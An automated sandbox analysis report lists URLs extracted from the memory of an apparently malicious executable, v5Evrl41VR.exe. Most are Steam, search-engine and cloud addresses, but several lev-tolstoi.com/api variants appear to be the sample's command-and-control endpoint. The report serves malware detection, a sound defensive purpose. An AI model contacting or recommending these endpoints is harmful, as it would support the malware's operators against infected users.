Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: v5Evrl41VR.exe, 00000000.00000003.1460351861.00000000057B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_106.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_106.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_106.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_106.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_106.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_106.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_106.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_106.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_106.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_106.6.dr	String found in binary or memory: https://github.com/nschonni
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527594777.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: v5Evrl41VR.exe, 00000000.00000003.1460351861.00000000057B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_106.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: v5Evrl41VR.exe, 00000000.00000003.1510523637.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1488500343.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/900
Source: v5Evrl41VR.exe, 00000000.00000003.1436142525.000000000572F000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1436111336.0000000005728000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1435578157.0000000005725000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1435623860.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/NN
Source: v5Evrl41VR.exe, 00000000.00000003.1565220935.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527631377.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1510375337.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1488322817.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1510523637.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1488500343.0000000000C89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/Y
Source: v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/a
Source: v5Evrl41VR.exe, v5Evrl41VR.exe, 00000000.00000003.1488886834.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618482641.0000000000D02000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1460351861.00000000057B9000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1565220935.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1381065089.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380954502.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1483200360.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357987726.0000000000CBB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1435578157.0000000005725000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1435623860.000000000572D000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527631377.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1458563329.00000000057B9000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527446457.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380954502.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618727396.0000000000D11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: v5Evrl41VR.exe, 00000000.00000003.1510375337.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiA
Source: v5Evrl41VR.exe, 00000000.00000003.1435578157.0000000005725000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1435623860.000000000572D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiA/02
Source: v5Evrl41VR.exe, 00000000.00000003.1565220935.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527631377.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiM
Source: v5Evrl41VR.exe, 00000000.00000003.1460351861.00000000057B9000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1458563329.00000000057B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiVfRS
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411352956.0000000000C89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiro
Source: v5Evrl41VR.exe, 00000000.00000003.1357987726.0000000000CBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiz
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: v5Evrl41VR.exe, 00000000.00000003.1510375337.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/s
Source: v5Evrl41VR.exe, 00000000.00000003.1527631377.0000000000C72000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/s)
Source: v5Evrl41VR.exe, 00000000.00000003.1618521680.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/v
Source: v5Evrl41VR.exe, 00000000.00000003.1527446457.0000000000D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527594777.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: chromecache_110.6.dr	String found in binary or memory: https://schema.org
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527594777.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: v5Evrl41VR.exe, 00000000.00000003.1618543273.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1510247117.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527594777.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527594777.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
